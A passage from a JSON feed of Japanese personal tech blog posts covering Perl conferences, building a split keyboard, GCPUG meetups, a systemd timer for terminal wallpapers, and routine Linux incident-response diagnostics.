(当日はどしゃ降りだったのが悔やまれますが大自然の中にあるキャンパスは想像以上に居心地がよかったです)あと、今回は会社の手厚いサポートにより参加することができましたのでこの場で紹介いたします。スポンサーいただいた企業様のおかげで素晴らしいカンファレンスが開催できたことに感謝いたします。雑感やっぱり地方開催は最高！というのが感想の 9 割でした。懇親会では「関東のカンファレンスには興味があるけど中々行けない」「転職を考えたときにもオフィス訪問ができないのがネック」というよく聞く話が出てきて地方のカンファレンスに初めて参加して大変さがよくわかった。のと同時にだからこそ地方で開催することの意味はあるというのも伝わりました。YAPC::Okinawa 2018YAPC は 2015 以来の参加で、その時はいろんなジャンルの技術カンファレンスという感じだったのですが、地方開催になってからは Perl 色が強くなり(というか Perl のカンファレンスなのでそれが当たり前っちゃ当たり前なんですが)、Perl というプログラミング言語が育んできたコミュニティのよさ、というのを肌で感じました。今は仕事で Perl を書いているというのもあって、Perl ネタのトークは刺激や発見があって Perl を書いてると YAPC が数倍おもしろくなるな(これも当たり前ですが)というのも目の当たりにしました。2018 年春の Perl@karupaneruraさんの Perl 最新情報についての話。定期的に開催しているカンファレンスだからこそ出来る Perl の最新情報が得られるというトークは私のような情報収集をサボりがちな人間には非常にありがたいです。＠ INC まわりは最近ハマったというのもあってなるほどな〜となりました。スライドInline モジュールの世界@moznionさんの Inline モジュールを採用してしまったプロジェクトを供養させるためのトーク。仕事で使うと地獄をみるという知見が得られて有益でした。スライドPerl コーディングテクニック 2018@akiymさんの Perl をコーディングするときのあれこれ。use Strict や Validator などコードを書くときによく出てくるあれこれの話が聞けたのがよかったです。Perl は TMTOWTDI の精神なので好きに書くのがよいというのと好きに書けますというのが独特の文化だなぁというのがよくわかりました。ブログ前夜祭前夜祭では「A Spacemacs Journey -果てしないエディタの旅-」 というタイトルでトークさせていただきましたが、ところどころ検証が足りていなくて発表に間に合っていなかったのと、スライドみながら話そうと思ったらディスプレイの配置が遠かったのとスピーカーモードにしたら手元がめっちゃ小さい表示でスライドが見えず勢いだけの微妙な内容になってしまっていて申し訳なかったということで猛省しております。LTこれが隣の席に座ってる若手エンジニアに「せっかくYAPC::Okinawaに行くならLTもどう？」と声かけたら二つ返事で応募してて最高かよってなった— jigyakkuma (@jigyakkuma_) February 28, 2018こうよ！！！ベストLTは @_serinuntius さんです！ pic.twitter.com/fs4tGtwXQc— yapcjapan (@yapcjapan) March 3, 2018この若者はワシが育てた(ｷﾘｯと言いたいところですが、「カンファレンスで LT したいと思ってたんですよ」「LT の勘所はなんとなく掴んでたのでウケてよかったです」など新人とは思えない返答だったので、そんなこといいながらベスト LT 賞を取っちゃう最近の若者はほんとスゲぇ。最後にサーバサイドのエンジニアをやり始めて数ヶ月とはいえ、プロトコル、Perl のこと、ミドルウェア、運用など知らないことがまだまだたくさんあるというのを痛感するし、仕事でもインターネットでも今以上に貢献したいと思っているので、ベースのスキルを身に着けながらみんなが聴きたくなるような話ができるよう得意分野をみつけようと思いました。おまけ今回、YAPC::Okinawa の翌日に帰ったのですが、14 時の便にしたら思いの外、ゆっくりする時間がなくてお土産を散策して終わってしまったのがもったいなかったので、また YAPC::Okinawa を開催してもらってまた沖縄に遊びにいきたいです！！","link":"https://blog.jigyakkuma.org/2018/03/04/yapc-okinawa2018/","isoDate":"2018-03-04T04:46:17.000Z","dateMiliSeconds":1520138777000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Okinawa 2018 前夜祭で Spacemacs の話をします(予告編)","contentSnippet":"皆さまいかがお過ごしでしょうか。2018/3/3(土)に開催されるYAPC::Okinawa 2018 ONNASONに先立ち、恒例の前夜祭でトークさせていただく運びとなりました！わいわいPerl について話せることがないながらも YAPC で登壇させていただく機会をいただいて人生が変わってと言っても過言ではないくらいお世話になっているカンファレンスなんですが、今回はちょっと Perl の話ができそうでとても楽しみです。応募したトークは「A Spacemacs Journey - 果てしないエディタの旅 -」ということで愛用している Spacemacs で Perl を書くにはどうするのがいいのかという内容で、残念ながら本編からは漏れてしまったのですが前夜祭でのトークはいかがでしょうかと運営スタッフの方からお声がけいただいたので 2 つ返事をして沖縄行きが決定しました。決まってからすぐに発表スライドを作り始めたのですが、「せっかくなので Spacemacs のよさを知ってほしい」と思いながら書き始めたら機能紹介の羅列みたいになってしまって社内からのフィードバックでも「Spacemacs ならではの話をしたほうがいい」「体験談や思っていることを参加者は聞きたいはず」など、カンファレンスでトークすることの意義を見失うところでした。その結果、機能紹介は完全に切り出してトーク前の資料とすることにしました。　ちなみにですが、この資料は補足となるので、ここに書いてある内容にはほとんど触れない予定です！それでは前夜祭でお会いしましょう！！！！","link":"https://blog.jigyakkuma.org/2018/03/02/yapc-okinawa-pre/","isoDate":"2018-03-02T02:44:58.000Z","dateMiliSeconds":1519958698000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Iris で自作キーボードを作った(組立編)","contentSnippet":"前回は準備編として自作キーボードの検討や購入について触れました。組み立ての前に部品が揃ったらさっそく組み立てたいところですが、その前に組み立ての流れを整理してきましょう。PCB にスイッチダイオードや抵抗、リセット用スイッチや TRRS Jack をはんだ付けするトッププレートにキースイッチをしっかりはめるキースイッチと PCB をはんだ付けするPro Micro をはんだ付けするファームを焼いて動作確認LED を取り付けるトッププレートとボトムプレートをネジとスペーサーで止めるキートップを取り付ける手順にすると多いですが、電子工作をしたことがある方であれば 1 日あればだいたい終わります。Build Guideに沿って進めていくのがよいです。英文ですが読めば欲しい情報が書いてあったりします。しかし、読むとわかるのですが Iris のマニュアルは途中までしか書かれていないので注意が必要です。はんだ付けはんだ付け自体はそう難しくないのですが、知識が乏しくて悩んだところがありました。スイッチダイオードと抵抗の取り付け方向スイッチダイオードは極性があるので取り付ける方向を間違えると正しく動作しなくなります。で、Iris はというと、左右関係なく黒いラインが下にくるように配置してはんだ付けすればよいです。はんだ付けの注意点はんだ付け自体はそう難しくないのですが、1 点注意するとすれば極力高さを出さないということでしょうか。部品を浮かせないはんだを必要以上に盛らないを心がけてください。2 点で止めるダイオードやキースイッチはまだ修正できますが、Pro Micro は浮いたままはんだ付けしてしまうと取り返しがつかなくなってしまいます。浮いてないか何度も確認しながら慎重にはんだ付けするのが失敗をしないコツでした。キースイッチとプレートの関係最初、PCB とプレートをどのように固定するのかというのがいろいろ調べてみても情報が出てこなくてだいぶ困りました。LED テープライトの取り付けこれは Iris の Build Guide に書かれておらず、Iris を組み立てた方々の blog を漁りましたが、うまくいかず割と苦労しました。Nyquistの Build Guide を眺めていたらビンゴでした。master 側の RGB から信号を出力master 側の Extra Data から RGB の信号を出力Slave 側は Extra Data からの RGB 信号を入力とすると配線する必要があったようです。Tips細々としたメモ:浮きがなければスペーサーはギリギリ 9mm でもいけそうボトムプレートは接地面にネジが出てしまうのでゴム足があるとよいキートップのホームポジションがわからないのでエポキシ系接着剤を少量たらしたらいい感じにわかりやすくなったボディをアクリルにするならカラー入りのクリアなタイプがかっこいい最後にIris を使ってみた感想としては親指シフトは慣れてくれば指の移動が減ってよい格子配列は指が困惑しがち内側のキーは少し押しにくいのでスタビライザーをつけて 1 キーにしてしまってもよいかも60%はちょうどよかったというところでした。まだ慣れていないところもありますが概ね満足しているのと、キーボード作るの面白いので、またよさげな PCB みつけたら作ろうかなと画策しています。それでは皆さまもよい自作キーボードライフをお過ごしください！","link":"https://blog.jigyakkuma.org/2018/02/12/iris-build/","isoDate":"2018-02-12T00:30:03.000Z","dateMiliSeconds":1518395403000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Iris で自作キーボードを作った(準備編)","contentSnippet":"素晴らしい世の中になったもので、キーボードも楽に自作できる時代が来ましたね。自作キーボードの検討まずは何を作るのか、というのを決めるところからですよね。・ キー数が少なすぎるのはあまり好みではないこれらの条件だと一番情報量の多い Let’s Split は候補から外れてしまいました。40%キーはさすがにレイヤーのスイッチングが多すぎて実用するのがしんどそう、というところが本音でした。Irisという PCB がみつかり、要件が揃ってそうだったので、こちらで作ってみることにしました。パーツの購入次は必要な部品の購入です。今回は・ お気に入りの MX Cherry Black 相当のキースイッチにしたいというオーダーで揃えました。名称価格購入先備考Iris PCB(Rev 2.1a)\xa52,749keeb.ioKey Switch(Getoron Black)\xa51,848keeb.io多めに購入Micro USB Cable\xa5329keeb.ioPro Micro\xa51,800Amazon左右それぞれに必要なので 2 個購入Key Cap\xa53,456TALP多めに購入アクリルプレート\xa51,800コーナンカット代は含まないスペーサー(M2x10mm)\xa5600Amazonネジ(M2x6mm)\xa51,000Amazon4 極ケーブル\xa5650AmazonLED テープライト(WS2818B)\xa51,280Amazon買ったのは 60 個だけど使ったのは 8 個リード線\xa5500Amazonエポキシ系接着剤\xa5500AmazonPro Micro のコネクタ部分の強化用合計\xa516,512金額は市販のメカニカルキーボードと比べてもそう高くはないですね。Iris はキットになっていて、スイッチングダイオードやリセットスイッチ、TRRS Jack なんかもセットになってるので自作キーボードが初めての方も安心ですね。購入での注意すべきポイントわーわー言うほどのポイントはないのですが、ポイントかなと思うところを少し書いておきます。・ 要件を決めておいてまとめて買う(迷いながら買い足しを何回もしてしまってリードタイムがわりとあった)公式の図面に記載があるので参考にするくらいでしょうか。あとは共同購入といったのも見かけるので、そういったのを利用してみるのもいいかもしれないです。組立編でお会いしましょう！","link":"https://blog.jigyakkuma.org/2018/02/11/iris-prep/","isoDate":"2018-02-11T05:50:49.000Z","dateMiliSeconds":1518328249000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"転職をしようとした結果、部署異動した話","contentSnippet":"めっきり寒くなってきましたがいかがお過ごしでしょうか。転職しようと思ったきっかけ遡ること今年の年初、今の会社(とか部署)でもう働きたくないって事案が相次いで重なり、入社してから 5 年も経過してるからここいらで潮時かな…と一人でモヤモヤしながら思い詰めてました。転職活動中の出来事決意してからは自分が今までやってきた仕事にマッチしそうな Web の会社にお話を伺ったり面談をお願いしました。部署異動の検討当時は私が担当する情シス(社内インフラと社内で呼ばれている)はリソースとしては 1.7 人くらいだったのと適任者は社内外でもそうみつからないので、簡単に「部署異動したいです！」とは言えない状況でした。そんな中で部署異動を勧めていただいた時にスッと楽になったのは今でも覚えています。部署異動が決まってから部署異動が決定したものの、リソース問題は残っており色々調整を図っていたところ奇跡が起きました。後任が採用できたのです。現在10月からソーシャルゲーム事業部というところでスマホゲームのサーバサイドエンジニアとして Perl を書いております。振り返り結果として部署異動という選択はよかったです。一緒に働いている人たちは好きなのと今回のモヤモヤの理由は会社を絶対に離れたいということではなかったというのが大きいとは思います。最後に人それぞれいろんな選択があるかと思うので、今の境遇にモヤモヤしてる人の何かの参考になれば幸いです。","link":"https://blog.jigyakkuma.org/2017/12/15/change-jobs-2017/","isoDate":"2017-12-14T23:15:15.000Z","dateMiliSeconds":1513293315000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"華金について真剣に議論して出した答え","contentSnippet":"久しぶりのブログ更新ですが、エンジニアリングとは無縁の話です。私は同僚と華金について真剣に議論する機会があったので、真面目な気持ちで議論してみました。最高の華金にするにはどうすればいいかという議論を真剣にしています pic.twitter.com/oCWRHOESul— jigyakkuma (@jigyakkuma_) June 16, 2017どうすれば最高の華金になるかの議論が白熱してます pic.twitter.com/SfnOwAoSky— jigyakkuma (@jigyakkuma_) June 16, 2017「華金なんて好きにお酒でも飲んでりゃいいでしょｗｗｗ」とお思いの方もいらっしゃるかと思いますが、我々は「華金を最高のものにするにはどうすればいいか」というお題を設けてみました。華金とは一体なんなのかまずは華金とは何か、という整理をすべきであると考えました。華金を楽しむために我々は仕事をしている華金は仕事でバリューを出した結果であり、華金をするためにバリューを出せるようにする華金をするにはバリューを出せばいいので、どうやってバリューを出すかを考えるバリューを出すことが目的ではなく、あくまでも華金をすることを目的とすればよいこう書くと「仕事でバリュー出せとかいう意識高い系の話かよー」と勘違いしてしまうかもしれないですが、それは全くの誤解です。また、華金は単に飲み会をすればいいというわけでもなく、お酒の席が苦手であれば別の好きなことをやればよいレイトショーを観に行く、ゲーム大会を開催するなども立派な華金となり得ると、各々が最高と思えることをやればそれが華金と言えるので、華金の定義や形式張ったものは不要です。最高の華金とは何か次に、最高の華金とは何かについて考えてみます。最高の華金をしたい人たちが最高の華金をやるためのモチベーションをもって最高の華金を全力で楽しむが最高の華金ではないかと考えます。最高の華金は華金が始まる前から始まっているでは次に、華金はどうすれば最高になるのかを考えてみます。華金に対しての意識を高めるとか面倒くさそう冒頭にも書きましたが、「楽しく飲みに行きたいだけなのに、こういう話はメンドクセー！！！」という話も出ました。たしかにおっしゃるとおりです。華金力の高い人材を育成するでは、ここで言う「華金力の高い人材」とは何を指すのか。「華金をコーディネートでき、かつそれを主体的に広めていける人材」華金に誘える人が周りにいないぞ…どうすれば…たしかに、人によってはそういうケースもありますよね。そこまでしてなんで華金がしたいの？ここまで、華金華金と言ってきましたが、なんでそこまでして華金がしたいの？という疑問が出てきてもおかしくないですね。「限りある華金という瞬間を少しでも最高にしたい」最後に最後まで読んでいただきありがとうございます。華金は誰もが楽しめるエンターテイメントエンターテイメントを楽しむなら妥協はするな限りある華金に全力で挑めといったところでしょうか。おじさんになっていくと内臓やら足腰がやられてきて自由が効かなくなってきます。もしかすると家族の事情でそれどころではなくなってしまうかもしれません。人生における「華金」という最高の瞬間には特別な価値があり、それを謳歌できるうちに全力になるのは決して悪いものではないと思います。多少偏った話もあったかと思いますが、皆様がそれぞれ幸せについて考えるきっかけになれば幸いです。","link":"https://blog.jigyakkuma.org/2017/06/17/hanakin/","isoDate":"2017-06-16T15:33:30.000Z","dateMiliSeconds":1497627210000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"desktop entry で自作アプリの登録方法","contentSnippet":"最近、作業環境を ApricityOS に変えました。gnome ベースなのとおしゃれな見た目なのが気に入っているのですが、1 つ困ってることがありました。業務で社内用 Gyazo が用意されているので、それを使っているのですが、自作クライアントを dock から起動させたい、ただそれだけなんですがそのあたりがよくわかってなかったので調べてみました。Dash to dockApricityOS は gnome extentions のDash to dockを採用していました。(Dash to dock のイメージ)Setting などを見たところ、Dash to dock はあくまでも dock なのでアプリの管理を行っているわけではないようです。ヒントがなくて悩むどっかにアプリを定義してるところありそうなのになかなか見つけられんなーと思いながらあれこれしていると ApricityOS に ice というアプリが入っているのに気づく。“Apricity OS lets you put your favorite web apps on the desktop with ICE, a simple SSB (Site Specific Browser) manager. “と書いてあったので試してみたらサイトをシングルアプリとして起動できるようによしなにしてくれるツールであった。このツールを使うとサイトがアプリとして起動できるように dock に追加されていて「おっ！もしや？？」となった。desktop entry先ほどの ice で登録したアプリがどっかにファイルとして生成されてるのは明白だったので探ってみると.desktop というファイルが置かれており、ここでようやく desktop entry を知ることができた(長かった)。desktop entryはリンク先にほぼほぼ書いてあるのですが、freedesktop.orgの仕様があり、フォーマットに沿ったファイルを/usr/share/applications とか ~/.local/share/applications に設置することでアプリケーションのデスクトップエントリとしてショートカットを配置できるようです。今回は以下のようなファイルを~/.local/share/applications に配置しました。配置するとこんな感じ(Gyazo アイコンがそれです)gnome 系を使っていたこともあったのに desktop entry について知らなかったのでいい勉強になりました。","link":"https://blog.jigyakkuma.org/2016/07/11/desktop-entry/","isoDate":"2016-07-11T12:51:58.000Z","dateMiliSeconds":1468241518000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAP(achimon)C::Asia Hachioji 2016 に参加(登壇)させていただいきました ","contentSnippet":"夏はカンファレンスの時期ですね！謝辞YAP(achimon)C::Asia Hachioji の Organizers、スタッフの皆様、場所を提供いただきましたMicrosoft 様、ありがとうございました！経緯YAP(achimon)C::Asia Hachioji(以後 yapc8oji)、最初は傍観していたのですが、主催者の方が「応募頼む！！！！」みたいな悲痛の叫びをされていたので賑やかしで応募したのが経緯でした。「応募の Issue がわいわいしてればいいかー」くらいの気持ちだったのですが、ありがたくも採択いただき、少々焦りましたが粛々と資料を作成し始めました。苦悩資料作るといつも思いますが、「ちゃんと説明したいけど、ウケも狙いたいし、どういう方向性がいいのかなー」みたいな葛藤があって、書いては消しを繰り返してました…内容今回は実際に運用している AWS アカウントと AWS IAM 管理の社内の仕組みを事例として話しました。反省「仕組みを紹介する」、ということ自体は Blog でもできるから、それ以外のところをうまく伝える、楽しんでもらえる構成にすべきだったなーというのがありました。次回はスピリチュアルな話ができるネタで挑戦したいと思います。感想話す内容は割とニッチであるので覚悟はしていたので、見に来ていただいた方々には感謝です。少しでも皆様の参考になったのであれば幸いです。あとはプレゼンのうまさ(抑揚やアイスブレイク、場の空気づくりなど)はまだまだなので、エンターテイメント性は上げていきたいところです。それでは、またどこかでお会いしましょう！！！！１今年もノベルティのステッカーあります #yapc8ojiB pic.twitter.com/s7b7Q1YBte— jigyakkuma (@jigyakkuma_) July 2, 2016[追記]運営の方に動画をアップロードいただきましたので以下よりご覧ください！","link":"https://blog.jigyakkuma.org/2016/07/02/yapcasia8oji/","isoDate":"2016-07-02T07:25:51.000Z","dateMiliSeconds":1467444351000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.3 に参加してきた","contentSnippet":"GCPUG Shonan も 4 回目の開催。今回も GAE の話題が中心でした。GCPUG Shonan vol.3<いつものお礼>茅ヶ崎 login 様、ありがとうございました！appengine ja nigntに登壇された方々をお招きしての GAE 事例あれこれ紹介といった内容でした。GAE のアクセス制限app.yaml に login Element を設定しておくとアクセス制限ができる。参考 URL- url: /admin/.* script: admin.app login: adminみたいにしておくと、GCP Console の IAM で Admin 権限を付与したユーザのみがアクセスできるページが作れるというもの。GAE からのメール送信制限社内で GAE を使ったツールを作成するに当たって、要件としてメールの送信があったのでメール送信数の制限については参考になった。AppEngine quotaGAE flexible environment私の知っている GAE はいわいる GAE Standard environment と呼ばれるものでした。AppEngine typeGAE のカスタムドメイン設定GAE でカスタムドメイン設定を行うと、設定したアカウントからは設定が見えるが他ユーザからは GCP Console を見てもカスタムドメインの設定がされていないように見えるとのこと。また、懇親会もいつものように盛り上がったので、その様子も。懇親会\uD83C\uDF52\uD83C\uDF52\uD83C\uDF52 #gcpug pic.twitter.com/UaBTyUk5xi— Ryuji Tsutsui (@ryu22e) June 19, 2016GCPUG Shonan にはさくらんぼが出る \uD83D\uDCDD #gcpug pic.twitter.com/iARp3XYCMP— sou (@sou) June 19, 2016GCPUG Shonan スタッフの@tora470さんの差し入れのさくらんぼでキャッキャする感じでした。あと、今回は appengine ja night で登壇された方々にも参加いただいたのでいつも以上にわいわいできてよかったと思います。地域密着イベントではありますが、参加人数にも限界があるので遠方から足を運んでいただける方には感謝しかないですね！","link":"https://blog.jigyakkuma.org/2016/06/19/gcpug-shonan03/","isoDate":"2016-06-19T12:43:16.000Z","dateMiliSeconds":1466340196000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"guake の背景画像を systemd でいい感じに切り替える","contentSnippet":"今回はいつもお世話になってる terminal の話です。今使ってるのが manjaro linux(KDE)なんですが、こちらは yakuake で使っていて、maia という theme できれいに統一されてたのと背景画像の透過の調整が難しかったのでカスタマイズせずに使ってました。今回も guake のスライドショーやるかーと思って cron を仕込もうかと思ったら Arch ではデフォルトで cron 入れねぇみたいなのが書いてあったので systemd の timer を仕込むことにしました。guake-slideshow.shまずはスライドショーをやってくれす shell script ですが、これは gconftool-2 を使って切り替えます。guake-slideshow.serviceguake-slideshow.sh を叩く systemd の service です。shell script や画像のあるディレクトリはここで調整するようにしてます。guake-slideshow.timersystemd に仕掛ける timer です。Setting$ cd ~/bin$ lsguake-slideshow.sh$ cd ~$ mkdir -p ~/.config/systemd/user && $_$ lsguake-slideshow.service guake-slideshow.timer$ systemctl --user start guake-slideshow.timersystemd に関する記事は探せばたくさん出てくるので、ここでは手順をメモする程度にとどめます。仕事でよく目にする terminal だからこそ、好きなアニメ画像などを切り替えるだけで捗るってもんですね！","link":"https://blog.jigyakkuma.org/2016/06/16/guake-slideshow/","isoDate":"2016-06-15T23:44:59.000Z","dateMiliSeconds":1466034299000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.2 に参加してきた","contentSnippet":"前回は GAE 勉強会(過去 blog はこちら)でしたが今回はハンズオンということで GAE を実際に触る回でした。GCPUG Shonan feat.GAE vol.2<恒例のお礼>茅ヶ崎 login 様、ありがとうございました！今回はハンズオンということもあり以下のような構成でした。GAE の導入主催の@nuki_ponさんより GAE についての簡単な説明。GAE で静的コンテンツの配信ここからはハンズオン形式で GAE を触ってみることに。https://github.com/FreeGufo/gae-static-templateはまりどころはそこまでないとは思いますが、ここに記載ない内容で行くと、「Google Developer Console」を使用可能な状態にしておくというのがあります。https://console.cloud.google.comにアクセスし、クレジットカードを登録してから初める必要があります。あとは GAE だけでなく、GCP 全般に言えることとしてはプロジェクト作成時にプロジェクト名を入力するのですが、その際に自動的にプロジェクト ID が付与されるので、各サービスで指定する場合はプロジェクト ID とするのが注意点です。WordPress on GAE後半は@ryu22eさんに WordPress を GAE 動かすハンズオンを行っていただきました。資料と参考 blogを見ながら進めると簡単に構築できました。懇親会今回は前回とは違う顔ぶれとなり、テーマがよかったのかフロントをメインにされている女性の方も参加いただいていたので、幅広い方に知っていただくという意味ではよい方向に向かっているのかなと思いました。最後に今後も参加予定なので、もしこの blog を見て参加しよう！という気になった方がいましたら気軽にお声がけいただけると幸いです。","link":"https://blog.jigyakkuma.org/2016/04/17/gcpug-shonan02/","isoDate":"2016-04-17T03:56:49.000Z","dateMiliSeconds":1460865409000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.1 に参加してきた","contentSnippet":"前回は vol.0 ということで正式な開催ではなかったのかな？という感じでしたが、晴れて GCPUG Shonan の vol.1 が開催されるということで今回も参加してきました。(前回参加の blog はこちら)今回もスタッフの皆様ならびにご協力いただきました茅ヶ崎 login 様、ありがとうございました！GCPUG Shonan vol.1 は 3 本立てでした。GCPUG Getting Started主催の@nuki_ponさんから GCPUG の開催に当たってのもろもろの話。ここにまとまっているので読んだほうが早いです。自営 de GAE@secondarykeyさんによる GCP の簡単な紹介と GAE の導入についての解説をしていただきました。資料はこちら)GAE の特徴や連携できる機能などをまとめていただいており、ざっくり知るのにちょうどいい内容でした。GAE と GAS@soundtrickerさんの主に GoogleAppsScript の話。資料はこちら)GoogleAppsScript のメリットをわかりやすく教えていただきました。あと参考になったのは GAE と Pub/Sub で使うというのは良さそうな感じでした。Datastore について@sinmetalさんの Google Cloud Datastore についての話。下調べしてなかったのですが、AWS でいうところのDynamoDBでした。資料はこちら)Datastore については使ってないので DynamoDB と比較しにくいですが、機能やパフォーマンスは Datastore に分があるように感じました。GCP トレーニングの講師もされている方なので、お礼も兼ねてここで宣伝させていただきます。懇親会今回も食事とお酒をご用意いただき、和気あいあいと会話させていただきました。最後に都内で開催される凄腕エンジニアが集まる勉強会もいいのですが、地元開催のイベントで地元を盛り上げつつその近辺のエンジニアが繋がるというのも中々楽しいのではとは思っております。今回は地元メンバーが 3 人ということだったので、これからも繋がっていけるエンジニアが 1 人でも増えればいいなと思っておりますので、次回以降も参加して活性化をお手伝いできればとは思います。","link":"https://blog.jigyakkuma.org/2016/02/28/gcpug-shonan01/","isoDate":"2016-02-28T12:26:32.000Z","dateMiliSeconds":1456662392000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"障碍対応と私","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"「たのしいインフラの歩き方」を読み終えて","contentSnippet":"購入したのが 3 ヶ月も前なんですが、持ち歩きながらコツコツ読んでようやく読み終わったので感想をまとめようと思いました。「たのしいインフラの歩き方」、ページ数が多いので電子書籍にするか迷いましたがカバーが可愛かったので本にしました pic.twitter.com/ZwgdH1Izbu— jigyakkuma (@jigyakkuma_) September 8, 2015tweet にもあるように不順な動機で電子書籍ではなく本を購入しましたが、内容が技術書というよりは丁寧に書かれた秘めたる想いという感じだったので本で読むといい感じでした。この書籍は Introduction にも書いてある通り、技術書というよりは著者の経験を元に書かれたインフラに関するまとめとなるもので、そこには共感できる内容もたくさん書かれており、単なる技術書からでは得られない大切なことばかりが書かれてました。670 ページとかなりボリュームはあるので章をわけて感想を整理したいと思います。インフラの心得ここではインフラの中でどのカテゴリにも当てはまるような基本的なことが書かれていました。スタートアップ期に必要なことスタートアップではオフィス設計からネットワーク構築、開発環境(PC など)の管理や NAS や社内サーバを用意するなど意外とやることが多い。そんなところが触れられていたが私自身もこの章に書かれているようなところを現職で担っており、共感できる部分が非常に多くうれしかった。イベント(1)引っ越しオフィスの引っ越しは私も経験したことがあるので、その記憶を照らし合わせながらこの章を読みました。ゼロから構築するのではなく、既に稼働しているものを移設するという構築当初と別の問題が浮上してくるところも「あるある」感があってよかったです。中小企業期に求められることこの章では会社規模が大きくなってきた時に段々とインフラや社内システムなどの責任が重くなってくるのでそれにどう対処していくべきかといったところが触れられてました。イベント(2)事業拡大社内のとあるサービスもオンプレから AWS に移行したことがありましたが、その際にネックとなったのがデータセンターの増設でした。大規模に向けてこの章ではよくある既存環境をどうスケールさせていくかについて触れられています。私自身、業務で直接サーバのインフラ部分を担当することはないのですが、監視・負荷分散・ Infrastructure as Code など知っておくべき内容が多く書かれていたのがよかったですし、広く触れられているので初級編の教科書代わりにしてもよさそう。イベント(3)コスト削減データセンターのクローズ作業や不要なサーバの整理など、コストについてまわるところは日常的に取り組んでいることもあり共感できるところも多かったです。求道者の心得インフラは適用範囲が広く、自分にとってどんな知識が必要かを時間という制約の中でいかに身につけていくかというのは常日頃から意識したいと再認識した。また、そこも含めていちエンジニアとしての技量が測られると思うし、インフラに限らずこれからもエンジニアとしてやっていくならそういった意識も大事にしていきたい。インフラを支える基礎知識インフラの領域とは言わず、エンジニアであれば広く知っておきたいことが書かれているのとサラッと読めるボリュームが 